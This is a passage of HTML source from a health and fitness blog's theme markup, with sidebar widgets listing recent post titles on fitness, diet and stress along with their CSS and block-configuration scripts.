penci-loading-circle-inner"></div> <div class="penci-loading-circle3 penci-loading-circle-inner"></div> <div class="penci-loading-circle4 penci-loading-circle-inner"></div> <div class="penci-loading-circle5 penci-loading-circle-inner"></div> <div class="penci-loading-circle6 penci-loading-circle-inner"></div> <div class="penci-loading-circle7 penci-loading-circle-inner"></div> <div class="penci-loading-circle8 penci-loading-circle-inner"></div> <div class="penci-loading-circle9 penci-loading-circle-inner"></div> <div class="penci-loading-circle10 penci-loading-circle-inner"></div> <div class="penci-loading-circle11 penci-loading-circle-inner"></div> <div class="penci-loading-circle12 penci-loading-circle-inner"></div> </div> </div> </div>
  688. </div>
  689. <style>#penci_block_11__83559722 .penci-block__title a, #penci_block_11__83559722 .penci-block__title span{ color:#0a0a0a !important; } #penci_block_11__83559722 .penci-block-heading:after{ background-color:#0a0a0a !important; }#penci_block_11__83559722 .penci-block__title a:hover{ color:#d91e59 !important; }#penci_block_11__83559722 .penci-block__title a:hover{ color:#d91e59; }#penci_block_11__83559722.penci-block-vc{ background-color:transparent !important; }@media screen and (min-width: 768px ){}#penci_block_11__83559722.style-title-8 .penci-block__title{ font-family:"Roboto";font-weight:700; }@media screen and (min-width: 768px ){#penci_block_11__83559722.style-title-8 .penci-block__title{ font-size:20px !important; }}@media screen and (min-width: 768px ){#penci_block_11__83559722 .penci-subcat-filter .penci-subcat-item a,#penci_block_11__83559722 .penci-subcat-list .flexMenu-viewMore > a{ font-size:15px !important; }}#penci_block_11__83559722 .penci-pmore-link .more-link{ font-family:"Mukta Vaani";font-weight:500; }#penci_block_11__83559722 .penci__post-title{ font-family:"Roboto";font-weight:700; }@media screen and (min-width: 768px ){#penci_block_11__83559722 .penci__post-title{ font-size:16px !important; }}@media screen and (min-width: 768px ){#penci_block_11__83559722 .block11_first_item .penci__post-title{ font-size:20px !important; } }@media screen and (min-width: 768px ){#penci_block_11__83559722.penci__general-meta .penci_post-meta{ font-size:14px !important; }}</style><script>if( typeof(penciBlock) === "undefined" ) {function penciBlock() {
  690.    this.atts_json = '';
  691.    this.content = '';
  692. }}var penciBlocksArray = penciBlocksArray || [];var PENCILOCALCACHE = PENCILOCALCACHE || {};var penci_block_11__83559722 = new penciBlock();penci_block_11__83559722.blockID="penci_block_11__83559722";penci_block_11__83559722.atts_json = '{"build_query":"post_type:post|size:5|order_by:date|order:DESC|categories:511","add_title_icon":"","title_i_align":"left","title_icon":"","hide_thumb":"","image_type":"landscape","big_image_ratio":0.67,"big_image_size":"penci-thumb-480-320","image_ratio":0.67,"image_size":"penci-thumb-280-186","block_title_meta_settings":"","block_title_align":"style-title-left","block_title_off_uppercase":"","block_title_wborder_left_right":"5px","block_title_wborder":"3px","post_title_trimword_settings":"","post_big_title_length":"20","post_standard_title_length":"12","hide_comment":"true","hide_post_date":"true","hide_icon_post_format":"","show_readmore":"","show_author":"","show_count_view":"","dis_bg_block":"true","enable_stiky_post":"","style_pag":"next_prev","limit_loadmore":3,"readmore_css":"","pagination_css":"","loadmore_css":"","disable_bg_load_more":"","custom_markup_1":"","ajax_filter_type":"","ajax_filter_selected":"","ajax_filter_childselected":"","ajax_filter_number_item":"5","infeed_ads__order":"2","block_id":"penci_block_11-1507711555461","penci_show_desk":"1","penci_show_tablet":"1","penci_show_mobile":"1","paged":1,"unique_id":"penci_block_11__83559722","shortcode_id":"block_11","column_number":1,"category_ids":"","taxonomy":""}';penci_block_11__83559722.content="";penciBlocksArray.push(penci_block_11__83559722);</script></div></div><div  class="penci-content-main penci-col-4 " role="complementary"><div class="theiaStickySidebar"><div id="penci_block_11__55647419" class="penci-block-vc penci-block_11 penci__general-meta style-title-8 style-title-left penci-block-next_prev penci-imgtype-landscape penci-link-filter-hidden penci-vc-column-1" data-current="1" data-blockUid="penci_block_11__55647419" >
  693. <div class="penci-block-heading">
  694. <h3 class="penci-block__title"><a href="/category/fitness/" title="Fitness Tips">Fitness Tips</a ></h3> <span class="penci-slider-nav">
  695. <a class="penci-block-pag penci-slider-prev penci-pag-disabled" data-block_id="penci_block_11__55647419block_content" href="#"><i class="fa fa-angle-left"></i></a>
  696. <a class="penci-block-pag penci-slider-next " data-block_id="penci_block_11__55647419block_content" href="#"><i class="fa fa-angle-right"></i></a>
  697. </span>
  698. </div>
  699. <div id="penci_block_11__55647419block_content" class="penci-block_content">
  700. <div class="penci-block_content__items penci-block-items__1"><article  class="block11_first_item hentry penci-post-item"><div class="penci-post-item__inner"><a class="penci-image-holder  penci-lazy penci-image_has_icon"  data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/04/3-Ways-To-Care-For-Your-Dogs-Cancer-480x320.jpg" data-delay="" href="https://www.tophealthfitnesstips.com/care-for-your-dogs-cancer/" title="3 Ways To Care For Your Dog&#8217;s Cancer"></a><div class="penci_post_content"><h3 class="penci__post-title entry-title"><a href="https://www.tophealthfitnesstips.com/care-for-your-dogs-cancer/" title=" 3 Ways To Care For Your Dog&#8217;s Cancer ">3 Ways To Care For Your Dog&#8217;s Cancer</a></h3><div class="penci-schema-markup"><span class="author vcard"><a class="url fn n" href="https://www.tophealthfitnesstips.com/author/toptips/">Top Health Fitness Tips</a></span><time class="entry-date published" datetime="2025-05-08T09:56:58+00:00">May 8, 2025</time><time class="updated" datetime="2025-05-09T17:25:11+00:00">May 9, 2025</time></div></div></div></article><div class="block11_items"><article class="hentry penci-post-item"><div class="penci_media_object"><a class="penci-image-holder  penci-lazy penci_mobj__img penci-image_has_icon"  data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/02/How-Important-Is-Fitness-In-Our-Lives_-280x186.jpg" data-delay="" href="https://www.tophealthfitnesstips.com/important-is-fitness/" title="How Important Is Fitness In Our Lives?"></a><div class="penci_post_content penci_mobj__body"><h3 class="penci__post-title entry-title"><a href="https://www.tophealthfitnesstips.com/important-is-fitness/" title=" How Important Is Fitness In Our Lives? ">How Important Is Fitness In Our Lives?</a></h3><div class="penci-schema-markup"><span class="author vcard"><a class="url fn n" href="https://www.tophealthfitnesstips.com/author/toptips/">Top Health Fitness Tips</a></span><time class="entry-date published" datetime="2025-05-08T08:39:16+00:00">May 8, 2025</time><time class="updated" datetime="2025-05-09T13:47:32+00:00">May 9, 2025</time></div></div></div></article><article class="hentry penci-post-item"><div class="penci_media_object"><a class="penci-image-holder  penci-lazy penci_mobj__img penci-image_has_icon"  data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/04/Increase-Your-Muscle-Mass-280x186.jpg" data-delay="" href="https://www.tophealthfitnesstips.com/increase-muscle-mass/" title="How to Increase Your Muscle Mass &#8211; 11 Tips"></a><div class="penci_post_content penci_mobj__body"><h3 class="penci__post-title entry-title"><a href="https://www.tophealthfitnesstips.com/increase-muscle-mass/" title=" How to Increase Your Muscle Mass &#8211; 11 Tips ">How to Increase Your Muscle Mass &#8211; 11 Tips</a></h3><div class="penci-schema-markup"><span class="author vcard"><a class="url fn n" href="https://www.tophealthfitnesstips.com/author/toptips/">Top Health Fitness Tips</a></span><time class="entry-date published" datetime="2025-05-07T11:21:28+00:00">May 7, 2025</time><time class="updated" datetime="2025-05-09T17:39:40+00:00">May 9, 2025</time></div></div></div></article><article class="hentry penci-post-item"><div class="penci_media_object"><a class="penci-image-holder  penci-lazy penci_mobj__img penci-image_has_icon"  data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/02/Fitness-Model-280x186.jpg" data-delay="" href="https://www.tophealthfitnesstips.com/become-a-fitness-model/" title="How To Become A Fitness Model Based On 5 Real-Life Role Models"></a><div class="penci_post_content penci_mobj__body"><h3 class="penci__post-title entry-title"><a href="https://www.tophealthfitnesstips.com/become-a-fitness-model/" title=" How To Become A Fitness Model Based On 5 Real-Life Role Models ">How To Become A Fitness Model Based On 5 Real-Life Role Models</a></h3><div class="penci-schema-markup"><span class="author vcard"><a class="url fn n" href="https://www.tophealthfitnesstips.com/author/toptips/">Top Health Fitness Tips</a></span><time class="entry-date published" datetime="2025-05-07T09:10:44+00:00">May 7, 2025</time><time class="updated" datetime="2025-05-09T14:08:24+00:00">May 9, 2025</time></div></div></div></article><article class="hentry penci-post-item"><div class="penci_media_object"><a class="penci-image-holder  penci-lazy penci_mobj__img penci-image_has_icon"  data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/03/Physics-Activity-280x186.jpg" data-delay="" href="https://www.tophealthfitnesstips.com/physics-activity-intro/" title="What Is the Physics Activity? – Introduction, Benefits, Risk, and More"></a><div class="penci_post_content penci_mobj__body"><h3 class="penci__post-title entry-title"><a href="https://www.tophealthfitnesstips.com/physics-activity-intro/" title=" What Is the Physics Activity? – Introduction, Benefits, Risk, and More ">What Is the Physics Activity? – Introduction, Benefits, Risk, and More</a></h3><div class="penci-schema-markup"><span class="author vcard"><a class="url fn n" href="https://www.tophealthfitnesstips.com/author/toptips/">Top Health Fitness Tips</a></span><time class="entry-date published" datetime="2025-05-07T08:02:00+00:00">May 7, 2025</time><time class="updated" datetime="2025-05-09T17:04:47+00:00">May 9, 2025</time></div></div></div></article></div></div><div class="penci-loader-effect penci-loading-animation-9"> <div class="penci-loading-circle"> <div class="penci-loading-circle1 penci-loading-circle-inner"></div> <div class="penci-loading-circle2 penci-loading-circle-inner"></div> <div class="penci-loading-circle3 penci-loading-circle-inner"></div> <div class="penci-loading-circle4 penci-loading-circle-inner"></div> <div class="penci-loading-circle5 penci-loading-circle-inner"></div> <div class="penci-loading-circle6 penci-loading-circle-inner"></div> <div class="penci-loading-circle7 penci-loading-circle-inner"></div> <div class="penci-loading-circle8 penci-loading-circle-inner"></div> <div class="penci-loading-circle9 penci-loading-circle-inner"></div> <div class="penci-loading-circle10 penci-loading-circle-inner"></div> <div class="penci-loading-circle11 penci-loading-circle-inner"></div> <div class="penci-loading-circle12 penci-loading-circle-inner"></div> </div> </div> </div>
  701. </div>
  702. <style>#penci_block_11__55647419 .penci-block__title a, #penci_block_11__55647419 .penci-block__title span{ color:#0a0a0a !important; } #penci_block_11__55647419 .penci-block-heading:after{ background-color:#0a0a0a !important; }#penci_block_11__55647419 .penci-block__title a:hover{ color:#d91e59 !important; }#penci_block_11__55647419 .penci-block__title a:hover{ color:#d91e59; }#penci_block_11__55647419.penci-block-vc{ background-color:transparent !important; }@media screen and (min-width: 768px ){}#penci_block_11__55647419.style-title-8 .penci-block__title{ font-family:"Roboto";font-weight:700; }@media screen and (min-width: 768px ){#penci_block_11__55647419.style-title-8 .penci-block__title{ font-size:20px !important; }}@media screen and (min-width: 768px ){#penci_block_11__55647419 .penci-subcat-filter .penci-subcat-item a,#penci_block_11__55647419 .penci-subcat-list .flexMenu-viewMore > a{ font-size:15px !important; }}#penci_block_11__55647419 .penci-pmore-link .more-link{ font-family:"Mukta Vaani";font-weight:500; }#penci_block_11__55647419 .penci__post-title{ font-family:"Roboto";font-weight:700; }@media screen and (min-width: 768px ){#penci_block_11__55647419 .penci__post-title{ font-size:16px !important; }}@media screen and (min-width: 768px ){#penci_block_11__55647419 .block11_first_item .penci__post-title{ font-size:20px !important; } }@media screen and (min-width: 768px ){#penci_block_11__55647419.penci__general-meta .penci_post-meta{ font-size:14px !important; }}</style><script>if( typeof(penciBlock) === "undefined" ) {function penciBlock() {
  703.    this.atts_json = '';
  704.    this.content = '';
  705. }}var penciBlocksArray = penciBlocksArray || [];var PENCILOCALCACHE = PENCILOCALCACHE || {};var penci_block_11__55647419 = new penciBlock();penci_block_11__55647419.blockID="penci_block_11__55647419";penci_block_11__55647419.atts_json = '{"build_query":"post_type:post|size:5|order_by:date|order:DESC|categories:19","add_title_icon":"","title_i_align":"left","title_icon":"","hide_thumb":"","image_type":"landscape","big_image_ratio":0.67,"big_image_size":"penci-thumb-480-320","image_ratio":0.67,"image_size":"penci-thumb-280-186","block_title_meta_settings":"","block_title_align":"style-title-left","block_title_off_uppercase":"","block_title_wborder_left_right":"5px","block_title_wborder":"3px","post_title_trimword_settings":"","post_big_title_length":"20","post_standard_title_length":"12","hide_comment":"true","hide_post_date":"true","hide_icon_post_format":"","show_readmore":"","show_author":"","show_count_view":"","dis_bg_block":"true","enable_stiky_post":"","style_pag":"next_prev","limit_loadmore":3,"readmore_css":"","pagination_css":"","loadmore_css":"","disable_bg_load_more":"","custom_markup_1":"","ajax_filter_type":"","ajax_filter_selected":"","ajax_filter_childselected":"","ajax_filter_number_item":"5","infeed_ads__order":"2","block_id":"penci_block_11-1601621001596","penci_show_desk":"1","penci_show_tablet":"1","penci_show_mobile":"1","paged":1,"unique_id":"penci_block_11__55647419","shortcode_id":"block_11","column_number":1,"category_ids":"","taxonomy":""}';penci_block_11__55647419.content="";penciBlocksArray.push(penci_block_11__55647419);</script></div></div><div  class="penci-content-main penci-col-4 " role="complementary"><div class="theiaStickySidebar"><div id="penci_block_11__27112425" class="penci-block-vc penci-block_11 penci__general-meta style-title-8 style-title-left penci-block-next_prev penci-imgtype-landscape penci-link-filter-hidden penci-vc-column-1" data-current="1" data-blockUid="penci_block_11__27112425" >
  706. <div class="penci-block-heading">
  707. <h3 class="penci-block__title"><a href="/category/diet/" title="Diet Tips">Diet Tips</a ></h3> <span class="penci-slider-nav">
  708. <a class="penci-block-pag penci-slider-prev penci-pag-disabled" data-block_id="penci_block_11__27112425block_content" href="#"><i class="fa fa-angle-left"></i></a>
  709. <a class="penci-block-pag penci-slider-next " data-block_id="penci_block_11__27112425block_content" href="#"><i class="fa fa-angle-right"></i></a>
  710. </span>
  711. </div>
  712. <div id="penci_block_11__27112425block_content" class="penci-block_content">
  713. <div class="penci-block_content__items penci-block-items__1"><article  class="block11_first_item hentry penci-post-item"><div class="penci-post-item__inner"><a class="penci-image-holder  penci-lazy penci-image_has_icon"  data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/02/Balanced-Diet-480x320.jpg" data-delay="" href="https://www.tophealthfitnesstips.com/balanced-diet-guide/" title="What is a Balanced Diet? – Nutrients, Characteristic and Guidelines"></a><div class="penci_post_content"><h3 class="penci__post-title entry-title"><a href="https://www.tophealthfitnesstips.com/balanced-diet-guide/" title=" What is a Balanced Diet? – Nutrients, Characteristic and Guidelines ">What is a Balanced Diet? – Nutrients, Characteristic and Guidelines</a></h3><div class="penci-schema-markup"><span class="author vcard"><a class="url fn n" href="https://www.tophealthfitnesstips.com/author/toptips/">Top Health Fitness Tips</a></span><time class="entry-date published" datetime="2025-05-07T07:02:50+00:00">May 7, 2025</time><time class="updated" datetime="2025-05-09T14:00:12+00:00">May 9, 2025</time></div></div></div></article><div class="block11_items"><article class="hentry penci-post-item"><div class="penci_media_object"><a class="penci-image-holder  penci-lazy penci_mobj__img penci-image_has_icon"  data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2022/06/Alani-Nu-Energy-Drink-280x186.jpg" data-delay="" href="https://www.tophealthfitnesstips.com/alani-nu-energy-drink/" title="Alani Nu Energy Drink"></a><div class="penci_post_content penci_mobj__body"><h3 class="penci__post-title entry-title"><a href="https://www.tophealthfitnesstips.com/alani-nu-energy-drink/" title=" Alani Nu Energy Drink ">Alani Nu Energy Drink</a></h3><div class="penci-schema-markup"><span class="author vcard"><a class="url fn n" href="https://www.tophealthfitnesstips.com/author/toptips/">Top Health Fitness Tips</a></span><time class="entry-date published" datetime="2025-05-06T22:19:24+00:00">May 6, 2025</time><time class="updated" datetime="2025-05-07T20:45:02+00:00">May 7, 2025</time></div></div></div></article><article class="hentry penci-post-item"><div class="penci_media_object"><a class="penci-image-holder  penci-lazy penci_mobj__img penci-image_has_icon"  data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/05/Dr-Choice-Pre-Workout-To-Have-More-Energy-280x186.jpg" data-delay="" href="https://www.tophealthfitnesstips.com/dr-choice-pre-workout-to-have-more-energy/" title="Dr Choice Pre Workout To Have More Energy"></a><div class="penci_post_content penci_mobj__body"><h3 class="penci__post-title entry-title"><a href="https://www.tophealthfitnesstips.com/dr-choice-pre-workout-to-have-more-energy/" title=" Dr Choice Pre Workout To Have More Energy ">Dr Choice Pre Workout To Have More Energy</a></h3><div class="penci-schema-markup"><span class="author vcard"><a class="url fn n" href="https://www.tophealthfitnesstips.com/author/toptips/">Top Health Fitness Tips</a></span><time class="entry-date published" datetime="2025-05-06T11:46:28+00:00">May 6, 2025</time><time class="updated" datetime="2025-05-07T21:54:02+00:00">May 7, 2025</time></div></div></div></article><article class="hentry penci-post-item"><div class="penci_media_object"><a class="penci-image-holder  penci-lazy penci_mobj__img penci-image_has_icon"  data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2023/04/weight-loss-in-monsoon-these-5-monsoon-fruits-can-help-you-lose-weight-280x186.jpg" data-delay="" href="https://www.tophealthfitnesstips.com/wellhealthorganic-comweight-loss-in-monsoon-these-5-monsoon-fruits-can-help-you-lose-weight/" title="wellhealthorganic.com:weight-loss-in-monsoon-these-5-monsoon-fruits-can-help-you-lose-weight"></a><div class="penci_post_content penci_mobj__body"><h3 class="penci__post-title entry-title"><a href="https://www.tophealthfitnesstips.com/wellhealthorganic-comweight-loss-in-monsoon-these-5-monsoon-fruits-can-help-you-lose-weight/" title=" wellhealthorganic.com:weight-loss-in-monsoon-these-5-monsoon-fruits-can-help-you-lose-weight ">wellhealthorganic.com:weight-loss-in-monsoon-these-5-monsoon-fruits-can-help-you-lose-weight</a></h3><div class="penci-schema-markup"><span class="author vcard"><a class="url fn n" href="https://www.tophealthfitnesstips.com/author/toptips/">Top Health Fitness Tips</a></span><time class="entry-date published" datetime="2025-05-05T22:18:57+00:00">May 5, 2025</time><time class="updated" datetime="2025-05-08T17:40:35+00:00">May 8, 2025</time></div></div></div></article><article class="hentry penci-post-item"><div class="penci_media_object"><a class="penci-image-holder  penci-lazy penci_mobj__img penci-image_has_icon"  data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/02/Natural-Cortisol-Blockers-Everything-You-Need-To-Know-280x186.jpg" data-delay="" href="https://www.tophealthfitnesstips.com/natural-cortisol-blockers/" title="Natural Cortisol Blockers &#8211; Everything You Need To Know"></a><div class="penci_post_content penci_mobj__body"><h3 class="penci__post-title entry-title"><a href="https://www.tophealthfitnesstips.com/natural-cortisol-blockers/" title=" Natural Cortisol Blockers &#8211; Everything You Need To Know ">Natural Cortisol Blockers &#8211; Everything You Need To Know</a></h3><div class="penci-schema-markup"><span class="author vcard"><a class="url fn n" href="https://www.tophealthfitnesstips.com/author/toptips/">Top Health Fitness Tips</a></span><time class="entry-date published" datetime="2025-05-05T19:53:06+00:00">May 5, 2025</time><time class="updated" datetime="2025-05-08T19:08:12+00:00">May 8, 2025</time></div></div></div></article></div></div><div class="penci-loader-effect penci-loading-animation-9"> <div class="penci-loading-circle"> <div class="penci-loading-circle1 penci-loading-circle-inner"></div> <div class="penci-loading-circle2 penci-loading-circle-inner"></div> <div class="penci-loading-circle3 penci-loading-circle-inner"></div> <div class="penci-loading-circle4 penci-loading-circle-inner"></div> <div class="penci-loading-circle5 penci-loading-circle-inner"></div> <div class="penci-loading-circle6 penci-loading-circle-inner"></div> <div class="penci-loading-circle7 penci-loading-circle-inner"></div> <div class="penci-loading-circle8 penci-loading-circle-inner"></div> <div class="penci-loading-circle9 penci-loading-circle-inner"></div> <div class="penci-loading-circle10 penci-loading-circle-inner"></div> <div class="penci-loading-circle11 penci-loading-circle-inner"></div> <div class="penci-loading-circle12 penci-loading-circle-inner"></div> </div> </div> </div>
  714. </div>
  715. <style>#penci_block_11__27112425 .penci-block__title a, #penci_block_11__27112425 .penci-block__title span{ color:#0a0a0a !important; } #penci_block_11__27112425 .penci-block-heading:after{ background-color:#0a0a0a !important; }#penci_block_11__27112425 .penci-block__title a:hover{ color:#d91e59 !important; }#penci_block_11__27112425 .penci-block__title a:hover{ color:#d91e59; }#penci_block_11__27112425.penci-block-vc{ background-color:transparent !important; }@media screen and (min-width: 768px ){}#penci_block_11__27112425.style-title-8 .penci-block__title{ font-family:"Roboto";font-weight:700; }@media screen and (min-width: 768px ){#penci_block_11__27112425.style-title-8 .penci-block__title{ font-size:20px !important; }}@media screen and (min-width: 768px ){#penci_block_11__27112425 .penci-subcat-filter .penci-subcat-item a,#penci_block_11__27112425 .penci-subcat-list .flexMenu-viewMore > a{ font-size:15px !important; }}#penci_block_11__27112425 .penci-pmore-link .more-link{ font-family:"Mukta Vaani";font-weight:500; }#penci_block_11__27112425 .penci__post-title{ font-family:"Roboto";font-weight:700; }@media screen and (min-width: 768px ){#penci_block_11__27112425 .penci__post-title{ font-size:16px !important; }}@media screen and (min-width: 768px ){#penci_block_11__27112425 .block11_first_item .penci__post-title{ font-size:20px !important; } }@media screen and (min-width: 768px ){#penci_block_11__27112425.penci__general-meta .penci_post-meta{ font-size:14px !important; }}</style><script>if( typeof(penciBlock) === "undefined" ) {function penciBlock() {
  716.    this.atts_json = '';
  717.    this.content = '';
  718. }}var penciBlocksArray = penciBlocksArray || [];var PENCILOCALCACHE = PENCILOCALCACHE || {};var penci_block_11__27112425 = new penciBlock();penci_block_11__27112425.blockID="penci_block_11__27112425";penci_block_11__27112425.atts_json = '{"build_query":"post_type:post|size:5|order_by:date|order:DESC|categories:25","add_title_icon":"","title_i_align":"left","title_icon":"","hide_thumb":"","image_type":"landscape","big_image_ratio":0.67,"big_image_size":"penci-thumb-480-320","image_ratio":0.67,"image_size":"penci-thumb-280-186","block_title_meta_settings":"","block_title_align":"style-title-left","block_title_off_uppercase":"","block_title_wborder_left_right":"5px","block_title_wborder":"3px","post_title_trimword_settings":"","post_big_title_length":"20","post_standard_title_length":"12","hide_comment":"true","hide_post_date":"true","hide_icon_post_format":"","show_readmore":"","show_author":"","show_count_view":"","dis_bg_block":"true","enable_stiky_post":"","style_pag":"next_prev","limit_loadmore":3,"readmore_css":"","pagination_css":"","loadmore_css":"","disable_bg_load_more":"","custom_markup_1":"","ajax_filter_type":"","ajax_filter_selected":"","ajax_filter_childselected":"","ajax_filter_number_item":"5","infeed_ads__order":"2","block_id":"penci_block_11-1507711558993","penci_show_desk":"Yes","penci_show_tablet":"Yes","penci_show_mobile":"Yes","paged":1,"unique_id":"penci_block_11__27112425","shortcode_id":"block_11","column_number":1,"category_ids":"","taxonomy":""}';penci_block_11__27112425.content="";penciBlocksArray.push(penci_block_11__27112425);</script></div></div></div></div><div class="vc_empty_space"   style="height: 40px"><span class="vc_empty_space_inner"></span></div></div></div></div></div><div data-vc-parallax="2" data-vc-parallax-image="" class="vc_row wpb_row vc_row_28531989 vc_row-fluid penci-pb-row vc_custom_1594217297387 vc_row-has-fill vc_general vc_parallax vc_parallax-content-moving"><div class="wpb_column vc_column_container vc_col-sm-12 penci-col-12"><div class="vc_column-inner wpb_column vc_column_container vc_col-sm-12 penci-col-12 "><div class="wpb_wrapper"><div class="penci-container-vc penci-container-1170 penci-container-width-1080 penci_vc_sticky_sidebar penci-vc_one-column"><div class="penci-container__content penci-con_sb2_sb1"><div  class="penci-content-main  no-class_layout " role="complementary"><div class="theiaStickySidebar">
  719. <div id="penci_grid_7__49515520" class="penci-block-vc penci-block_grid penci-grid_7 penci__general-meta style-title-8 style-title-left penci-block-next_prev penci-imgtype-vertical penci-link-filter-hidden penci-vc-column-3" data-current="1" data-blockUid="penci_grid_7__49515520" >
  720. <div class="penci-block-heading">
  721. <h3 class="penci-block__title"><a href="/category/tips-and-tricks/" title="Tips and Tricks">Tips and Tricks</a ></h3> <span class="penci-slider-nav">
  722. <a class="penci-block-pag penci-slider-prev penci-pag-disabled" data-block_id="penci_grid_7__49515520block_content" href="#"><i class="fa fa-angle-left"></i></a>
  723. <a class="penci-block-pag penci-slider-next " data-block_id="penci_grid_7__49515520block_content" href="#"><i class="fa fa-angle-right"></i></a>
  724. </span>
  725. </div>
  726. <div id="penci_grid_7__49515520block_content" class="penci-block_content">
  727. <div class="penci-block_content__items penci-block-items__1"><article  class="penci_post_thumb hentry penci-post-item"><div class="penci-post-item__inner"><a class="penci-image-holder  penci-lazy penci-gradient penci-image_has_icon"  data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/03/Manage-Stress-1-480x645.jpg" data-delay="" href="https://www.tophealthfitnesstips.com/ways-to-manage-stress/" title="The Best Ways to Manage Stress"> <span class="screen-reader-text">The Best Ways to Manage Stress</span></a><div class="penci-slide-overlay"><a class="overlay-link" href="https://www.tophealthfitnesstips.com/ways-to-manage-stress/"></a><div class="penci_post_content"><div class="feat-text "><h3 class="penci__post-title entry-title"><a href="https://www.tophealthfitnesstips.com/ways-to-manage-stress/" title=" The Best Ways to Manage Stress ">The Best Ways to Manage Stress</a></h3><div class="penci-schema-markup"><span class="author vcard"><a class="url fn n" href="https://www.tophealthfitnesstips.com/author/toptips/">Top Health Fitness Tips</a></span><time class="entry-date published" datetime="2025-05-08T14:42:27+00:00">May 8, 2025</time><time class="updated" datetime="2025-05-09T16:45:57+00:00">May 9, 2025</time></div></div></div></div></div></article><article  class="penci_post_thumb hentry penci-post-item"><div class="penci-post-item__inner"><a class="penci-image-holder  penci-lazy penci-gradient penci-image_has_icon"  data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/04/Fitbit-Luxe-Bands-480x645.jpg" data-delay="" href="https://www.tophealthfitnesstips.com/fitbit-luxe-bands-fits/" title="How Fitbit Luxe Bands Fits you"> <span class="screen-reader-text">How Fitbit Luxe Bands Fits you</span></a><div class="penci-slide-overlay"><a class="overlay-link" href="https://www.tophealthfitnesstips.com/fitbit-luxe-bands-fits/"></a><div class="penci_post_content"><div class="feat-text "><h3 class="penci__post-title entry-title"><a href="https://www.tophealthfitnesstips.com/fitbit-luxe-bands-fits/" title=" How Fitbit Luxe Bands Fits you ">How Fitbit Luxe Bands Fits you</a></h3><div class="penci-schema-markup"><span class="author vcard"><a class="url fn n" href="https://www.tophealthfitnesstips.com/author/toptips/">Top Health Fitness Tips</a></span><time class="entry-date published" datetime="2025-05-08T11:09:52+00:00">May 8, 2025</time><time class="updated" datetime="2025-05-09T17:16:19+00:00">May 9, 2025</time></div></div></div></div></div></article><article  class="penci_post_thumb hentry penci-post-item"><div class="penci-post-item__inner"><a class="penci-image-holder  penci-lazy penci-gradient penci-image_has_icon"  data-src="https://www.tophealthfitnesstips.com/wp-content/uploads/2025/03/A-fit-philosophy-of-healthy-gluten-free-easy-recipes-480x645.jpg" data-delay="" href="https://www.tophealthfitnesstips.com/free-easy-recipes/" title="A fit philosophy of healthy gluten free easy recipes"> <span class="screen-reader-text">A fit philosophy of healthy gluten free easy recipes</span></a><div class="penci-slide-overlay"><a class="overlay-link" href="https://www.tophealthfitnesstips.com/free-easy-recipes/"></a><div class="penci_post_content"><div class="feat-text "><h3 class="penci__post-title entry-title"><a href="https://www.tophealthfitnesstips.com/free-easy-recipes/" title=" A fit philosophy of healthy gluten free easy recipes ">A fit philosophy of healthy gluten free easy recipes</a></h3><div class="penci-schema-markup"><span class="author vcard"><a class="url fn n" href="https://www.tophealthfitnesstips.com/author/toptips/">Top Health Fitness Tips</a></span><time class="entry-date published" datetime="2025-05-08T06:01:23+00:00">May 8, 2025</time><time class="updated" datetime="2025-05-09T17:08:43+00:00">May 9, 2025</time></div></div></div></div></div></article></div><div class="penci-loader-effect penci-loading-animation-9"> <div class="penci-loading-circle"> <div class="penci-loading-circle1 penci-loading-circle-inner"></div> <div class="penci-loading-circle2 penci-loading-circle-inner"></div> <div class="penci-loading-circle3 penci-loading-circle-inner"></div> <div class="penci-loading-circle4 penci-loading-circle-inner"></div> <div class="penci-loading-circle5 penci-loading-circle-inner"></div> <div class="penci-loading-circle6 penci-loading-circle-inner"></div> <div class="penci-loading-circle7 penci-loading-circle-inner"></div> <div class="penci-loading-circle8 penci-loading-circle-inner"></div> <div class="penci-loading-circle9 penci-loading-circle-inner"></div> <div class="penci-loading-circle10 penci-loading-circle-inner"></div> <div class="penci-loading-circle11 penci-loading-circle-inner"></div> <div class="penci-loading-circle12 penci-loading-circle-inner"></div> </div> </div> </div>
  728. </div>
  729. <style>#penci_grid_7__49515520 .penci-block__title a:hover{ color:#ffffff !important; }#penci_grid_7__49515520 .penci-block__title a:hover{ color:#ffffff; }#penci_grid_7__49515520.penci-block-vc{ background-color:transparent !important; }@media screen and (min-width: 768px ){}#penci_grid_7__49515520.style-title-8 .penci-block__title{ font-family:"Roboto";font-weight:700; }@media screen and (min-width: 768px ){#penci_grid_7__49515520.style-title-8 .penci-block__title{ font-size:20px !important; }}@media screen and (min-width: 768px ){#penci_grid_7__49515520 .penci-subcat-filter .penci-subcat-item a,#penci_grid_7__49515520 .penci-subcat-list .flexMenu-viewMore > a{ font-size:15px !important; }}#penci_grid_7__49515520.style-title-8 .penci-block__title{ font-family:"Roboto";font-weight:700; }@media screen and (min-width: 768px ){#penci_grid_7__49515520.style-title-8 .penci-block__title{ font-size:20px !important; }}@media screen and (min-width: 768px ){#penci_grid_7__49515520 .penci-subcat-filter .penci-subcat-item a,#penci_grid_7__49515520 .penci-subcat-list .flexMenu-viewMore > a{ font-size:15px !important; }}#penci_grid_7__49515520 .penci__post-title{ font-family:"Roboto";font-weight:700; }@media screen and (min-width: 768px ){#penci_grid_7__49515520 .penci__post-title{ font-size:18px !important; }}@media screen and (min-width: 768px ){#penci_grid_7__49515520.penci__general-meta .penci_post-meta, #penci_grid_7__49515520 .penci_post-meta a, #penci_grid_7__49515520 .penci_post-meta span{ font-size:14px !important; }}</style><script>if( typeof(penciBlock) === "undefined" ) {function penciBlock() {
  730.    this.atts_json = '';
  731.    this.content = '';
